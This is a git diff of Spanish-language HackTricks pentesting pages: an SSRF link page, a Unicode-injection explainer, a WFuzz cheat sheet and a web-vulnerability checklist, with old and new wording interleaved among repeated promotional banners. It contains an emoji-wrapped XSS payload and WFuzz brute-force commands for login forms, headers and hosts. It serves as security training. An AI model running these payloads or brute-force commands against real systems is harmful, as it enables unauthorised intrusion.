Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# Plataformas Vulnerables a SSRF
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Verifica **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
Revisa **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Inyección Unicode
# Inyección de Unicode
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
## Introducción
Dependiendo de cómo se comporte el back-end/front-end al **recibir caracteres unicode extraños**, un atacante podría ser capaz de **burlar protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **explotar vulnerabilidades de inyección** como XSS o SQLi.
Dependiendo de cómo se comporte el back-end/front-end cuando **recibe caracteres unicode extraños**, un atacante podría **eludir protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **abusar de vulnerabilidades de inyección** como XSS o SQLi.
## Normalización Unicode
## Normalización de Unicode
La normalización Unicode ocurre cuando los **caracteres unicode se normalizan a caracteres ascii**.
La normalización de Unicode ocurre cuando **los caracteres unicode se normalizan a caracteres ascii**.
Un escenario común de este tipo de vulnerabilidad ocurre cuando el sistema está **modificando** de alguna manera la **entrada** del usuario **después de haberla verificado**. Por ejemplo, en algunos lenguajes una simple llamada para **convertir la entrada en mayúsculas o minúsculas** podría normalizar la entrada dada y el **unicode se transformará en ASCII** generando nuevos caracteres.\
Un escenario común de este tipo de vulnerabilidad ocurre cuando el sistema está **modificando** de alguna manera la **entrada** del usuario **después de haberla verificado**. Por ejemplo, en algunos lenguajes, una simple llamada para hacer que la **entrada esté en mayúsculas o minúsculas** podría normalizar la entrada dada y el **unicode se transformará en ASCII** generando nuevos caracteres.\
Para más información, consulta:
{% content-ref url="unicode-normalization.md" %}
@ -31,18 +32,18 @@ Para más información, consulta:
## `\u` a `%`
Los caracteres Unicode suelen representarse con el prefijo **`\u`**. Por ejemplo, el carácter `㱋` es `\u3c4b`([compruébalo aquí](https://unicode-explorer.com/c/3c4B)). Si un back-end **transforma** el prefijo **`\u` en `%`**, la cadena resultante será `%3c4b`, que decodificado en URL es: **`<4b`**. Y, como puedes ver, se inyecta un carácter **`<`**.\
Puedes utilizar esta técnica para **inyectar cualquier tipo de carácter** si el back-end es vulnerable.\
Los caracteres unicode generalmente se representan con el **prefijo `\u`**. Por ejemplo, el carácter `㱋` es `\u3c4b`([ver aquí](https://unicode-explorer.com/c/3c4B)). Si un backend **transforma** el prefijo **`\u` en `%`**, la cadena resultante será `%3c4b`, que decodificada en URL es: **`<4b`**. Y, como puedes ver, se **inyecta un carácter `<`**.\
Podrías usar esta técnica para **inyectar cualquier tipo de carácter** si el backend es vulnerable.\
Consulta [https://unicode-explorer.com/](https://unicode-explorer.com/) para encontrar los caracteres que necesitas.
Esta vulnerabilidad en realidad proviene de una vulnerabilidad que un investigador encontró, para una explicación más detallada consulta [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
Esta vulnerabilidad proviene de una vulnerabilidad que un investigador encontró, para una explicación más detallada consulta [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Inyección de Emoji
A veces los back-ends se comportan de manera extraña cuando **reciben emojis**. Eso es lo que sucedió en [**este informe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) donde el investigador logró lograr un XSS con un payload como: `💋img src=x onerror=alert(document.domain)//💛`
Los back-ends a veces se comportan de manera extraña cuando **reciben emojis**. Eso es lo que sucedió en [**este informe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) donde el investigador logró conseguir un XSS con una carga útil como: `💋img src=x onerror=alert(document.domain)//💛`
En este caso, el error fue que el servidor después de eliminar los caracteres maliciosos **convirtió la cadena UTF-8 de Windows-1252 a UTF-8** (básicamente la codificación de entrada y la conversión de codificación no coincidían). Entonces esto no da un < adecuado, sino uno unicode extraño: ``\
``Así que tomaron esta salida y **la convirtieron nuevamente ahora de UTF-8 a ASCII**. Esto **normalizó** el `` a `<`, así es como el exploit podría funcionar en ese sistema.\
En este caso, el error fue que el servidor, después de eliminar los caracteres maliciosos, **convirtió la cadena UTF-8 de Windows-1252 a UTF-8** (básicamente, la codificación de entrada y la conversión de codificación no coincidían). Entonces, esto no da un < adecuado, solo uno unicode extraño: ``\
``Así que tomaron esta salida y **convirtieron nuevamente ahora de UTF-8 a ASCII**. Esto **normalizó** el `` a `<`, así es como el exploit pudo funcionar en ese sistema.\
Esto es lo que sucedió:
```php
<?php
@ -59,16 +60,17 @@ Listas de emojis:
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Herramienta Web - WFuzz
# Web Tool - WFuzz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Una herramienta para FUZZ en aplicaciones web en cualquier lugar.
Una herramienta para FUZZ aplicaciones web en cualquier lugar.
> [Wfuzz](https://github.com/xmendez/wfuzz) ha sido creado para facilitar la tarea en evaluaciones de aplicaciones web y se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil dada.
> [Wfuzz](https://github.com/xmendez/wfuzz) ha sido creada para facilitar la tarea en las evaluaciones de aplicaciones web y se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil dada.
## Instalación
@ -56,9 +57,9 @@ Ejemplos:
-w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
```
## Hoja de trucos
## CheetSheet
### Fuerza bruta en formulario de inicio de sesión
### Login Form bruteforce
#### **POST, Lista única, cadena de filtro (ocultar)**
```bash
@ -74,19 +75,19 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
### Fuerza bruta de directorios/RESTful bruteforce
### Bruteforce Directory/RESTful bruteforce
[Lista de palabras de parámetros de Arjun](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### Fuerza bruta de parámetros de ruta
### Parámetros de Ruta BF
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
### Autenticación de Encabezado
#### **Básico, 2 listas, cadena de filtro (mostrar), proxy**
#### **Básica, 2 listas, cadena de filtro (mostrar), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```
@ -94,7 +95,7 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
```
### Fuerza bruta de Cookie/Header (vhost brute)
### Cookie/Header bruteforce (vhost brute)
#### **Cookie, código de filtro (mostrar), proxy**
```bash
@ -104,13 +105,13 @@ wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=13123
```bash
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
```
#### **Anfitrión**
#### **Host**
```bash
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100
```
### Fuerza bruta de verbos HTTP (métodos)
### HTTP Verbs (methods) bruteforce
#### **Usando archivo**
```bash
@ -125,20 +126,21 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```
## Herramienta para evadir Webs
## Herramienta para eludir Webs
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,74 +1,75 @@
# Metodología de Vulnerabilidades Web
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vulnerables**. Esta publicación pretende ser una lista de verificación para confirmar que has buscado vulnerabilidades en todos los lugares posibles.
En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vulnerables**. Esta publicación está destinada a ser una lista de verificación para confirmar que has buscado vulnerabilidades en todos los lugares posibles.
## Proxies
{% hint style="info" %}
Hoy en día, las **aplicaciones web** suelen **utilizar** algún tipo de **proxies intermedios**, los cuales pueden ser (ab)usados para explotar vulnerabilidades. Estas vulnerabilidades necesitan un proxy vulnerable para estar en su lugar, pero generalmente también necesitan alguna vulnerabilidad adicional en el backend.
Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
{% endhint %}
* [ ] [**Abuso de cabeceras hop-by-hop**](../abusing-hop-by-hop-headers.md)
* [ ] [**Envenenamiento de Caché/Engaño de Caché**](../cache-deception.md)
* [ ] [**Contrabando de Peticiones HTTP**](../http-request-smuggling/)
* [ ] [**Contrabando H2C**](../h2c-smuggling.md)
* [ ] [**Inclusión en el Lado del Servidor/Inclusión en el Lado del Borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Abuso de encabezados hop-by-hop**](../abusing-hop-by-hop-headers.md)
* [ ] [**Envenenamiento de caché/Decepción de caché**](../cache-deception.md)
* [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
* [ ] [**H2C Smuggling**](../h2c-smuggling.md)
* [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Inyección de Lado del Servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Bypass de Protecciones de Proxy / WAF**](../proxy-waf-protections-bypass.md)
* [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Bypass de Protecciones Proxy / WAF**](../proxy-waf-protections-bypass.md)
## **Entrada de Usuario**
## **Entrada del usuario**
{% hint style="info" %}
La mayoría de las aplicaciones web permitirán a los usuarios **introducir algunos datos que serán procesados posteriormente**.\
Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden aplicarse o no.
La mayoría de las aplicaciones web **permitirán a los usuarios ingresar algunos datos que serán procesados más tarde.**\
Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden o no aplicarse.
{% endhint %}
### **Valores Reflejados**
Si los datos introducidos de alguna manera pueden reflejarse en la respuesta, la página podría ser vulnerable a varios problemas.
Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
* [ ] [**Inyección de Plantillas en el Lado del Cliente**](../client-side-template-injection-csti.md)
* [ ] [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md)
* [ ] [**Inyección de Comandos**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Inclusión de Archivos/Travesía de Rutas**](../file-inclusion/)
* [ ] [**Markup Colgante**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Inclusión de Archivos/Traversal de Ruta**](../file-inclusion/)
* [ ] [**Redirección Abierta**](../open-redirect.md)
* [ ] [**Contaminación de Prototipos a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Inclusión en el Lado del Servidor/Inclusión en el Lado del Borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Falsificación de Peticiones en el Lado del Servidor**](../ssrf-server-side-request-forgery/)
* [ ] [**Inyección de Plantillas en el Lado del Servidor**](../ssti-server-side-template-injection/)
* [ ] [**Robo de Pestañas Reverso**](../reverse-tab-nabbing.md)
* [ ] [**Inyección de Lado del Servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
